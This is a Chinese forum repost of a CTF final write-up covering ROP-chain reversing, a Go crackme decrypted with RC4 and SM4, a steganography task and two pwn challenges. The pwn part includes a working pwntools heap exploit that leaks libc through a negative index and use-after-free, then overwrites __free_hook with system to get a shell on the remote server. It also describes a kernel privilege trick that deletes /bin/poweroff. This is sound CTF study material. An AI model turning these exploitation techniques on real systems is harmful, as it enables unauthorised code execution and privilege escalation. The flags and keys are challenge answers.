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本帖最后由 chenqiang 于 2022-10-14 23:04 编辑
原文链接:美团CTF个人决赛WP
Reverse
ROP
解析data的ROP,一点一点还原
- from pwn import *
- opcode = open('data', 'rb').read()
- opcode_gadget = opcode[0x30+8:]
- for offset in range(0, len(opcode_gadget), 8):
- print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')
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提取出来密文,转成64位的
- cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,
- 0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40]
- cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little') for i in range(0,32,8)]
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分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种
[td] 地址 | 效果 | 0x4011D6 | 异或两个64bit | 0x401233 | 变种的异或,配合0x4011d6就是swap | 0x401332 | 两个64bit相减 | 0x4013EE | 检查输入是否满足uuid格式 | 0x401480 | 提取uuid中32位字符到bss段数组 | 0x40125D | 两个64bit相加 | 流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算
然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1]
最后对比密文跳转结果
照着指令写一个逆回来的过程
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdint.h>
- uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186};
- void add(int i,int j){
- bss_flag[i] -= bss_flag[j];
- }
- void sub(int i,int j){
- bss_flag[i] += bss_flag[j];
- }
- void xor1(int i,int j){
- bss_flag[i] ^= bss_flag[j];
- }
- int main(){
- sub(0x0,0x7);
- add(0x1,0x5);
- sub(0x3,0x7);
- add(0x0,0x5);
- add(0x0,0x7);
- sub(0x3,0x7);
- add(0x0,0x5);
- xor1(0x2,0x5);
- xor1(0x2,0x5);
- sub(0x3,0x7);
- sub(0x2,0x6);
- xor1(0x0,0x7);
- add(0x2,0x4);
- add(0x1,0x4);
- xor1(0x1,0x7);
- xor1(0x0,0x7);
- sub(0x0,0x5);
- sub(0x0,0x7);
- sub(0x0,0x5);
- add(0x1,0x7);
- xor1(0x1,0x5);
- add(0x1,0x6);
- sub(0x1,0x4);
- xor1(0x2,0x4);
- add(0x1,0x4);
- sub(0x0,0x6);
- sub(0x2,0x7);
- add(0x1,0x6);
- sub(0x2,0x5);
- add(0x0,0x7);
- xor1(0x3,0x6);
- add(0x2,0x4);
- xor1(0x0,0x6);
- xor1(0x0,0x5);
- xor1(0x3,0x7);
- xor1(0x0,0x4);
- xor1(0x2,0x5);
- xor1(0x2,0x6);
- xor1(0x2,0x6);
- xor1(0x3,0x4);
- xor1(0x0,0x7);
- xor1(0x2,0x5);
- xor1(0x0,0x4);
- xor1(0x3,0x5);
- xor1(0x1,0x6);
- xor1(0x3,0x7);
- xor1(0x0,0x4);
- xor1(0x1,0x4);
- xor1(0x2,0x7);
- xor1(0x1,0x7);
- xor1(0x0,0x4);
- xor1(0x2,0x6);
- xor1(0x0,0x5);
- xor1(0x1,0x7);
- xor1(0x0,0x5);
- xor1(0x0,0x4);
- xor1(0x3,0x6);
- xor1(0x1,0x7);
- xor1(0x2,0x5);
- xor1(0x0,0x7);
- xor1(0x0,0x7);
- xor1(0x2,0x4);
- xor1(0x3,0x4);
- xor1(0x3,0x7);
- printf("%s",(char *)bss_flag);
- // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485}
- }
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crackme
go语言,一开始我ida还f5反编译不了,换了个才可以,难顶
直接sm4加密和rc4,sm4密钥写死在代码里
编辑
rc4的key在linese.txt里,密文也在里面
exp:
- from binascii import unhexlify
- from Crypto.Cipher import ARC4
- from sm4 import SM4Key
- c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518')
- key = b'd0cac74c1bbeea071817360e491585e8'
- cipher = ARC4.new(key)
- m = cipher.decrypt(c)
- key0 = SM4Key(b'xc08asb890ajds0a')
- print(key0.decrypt(m))
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Misc
What is that
stegsolve直接切换几个通道就可以看到
编辑
pwn
hello
直接网上查到kernel pwn qemu 的非预期
ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat flag就可以
编辑
heap
一个UAF+数组上溢出
这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。
编辑
- from pwn import *
- context.log_level='debug'
- #p=process('./pwn')
- p=remote('47.95.8.59',42283)
- elf=ELF('./pwn')
- #libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6')
- libc=ELF('./libc.so.6')
- def add(size):
- p.sendafter(b'>\n', b'1')
- p.sendafter(b'add?\n', str(size).encode())
- def dele(index):
- p.sendafter(b'>\n', b'2')
- p.sendafter(b'up?\n', str(index).encode())
- def edit(index,size,content):
- p.sendafter(b'>\n', b'3')
- p.sendafter(b'write?\n', str(index).encode())
- p.sendafter(b'write?\n', str(size).encode())
- p.sendafter(b'Content:', content)
- def show(index):
- p.sendafter(b'>\n', b'4')
- p.sendafter(b'review?\n', str(index).encode())
- show(-11)
- p.recvuntil('Content:')
- probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008
- arraddr=probase+0x4060
- add(0x10)
- add(0x10)
- add(0x10)
- dele(0)
- dele(1)
- dele(2)
- edit(1,8,p64(arraddr))
- add(0x10)
- add(0x10)
- add(0x10)
- edit(2,8,p64(probase+elf.got['puts']))
- show(0)
- libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
- free_hook=libc_base+libc.symbols['__free_hook']
- system=libc_base+libc.symbols['system']
- edit(2,8,p64(free_hook))
- edit(0,8,p64(system))
- add(0x10)
- edit(3,8,b'/bin/sh\x00')
- dele(3)
- p.interactive()
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https://tttang.com/archive/1411/#toc_urlclassloader https://goodapple.top/archives/1749
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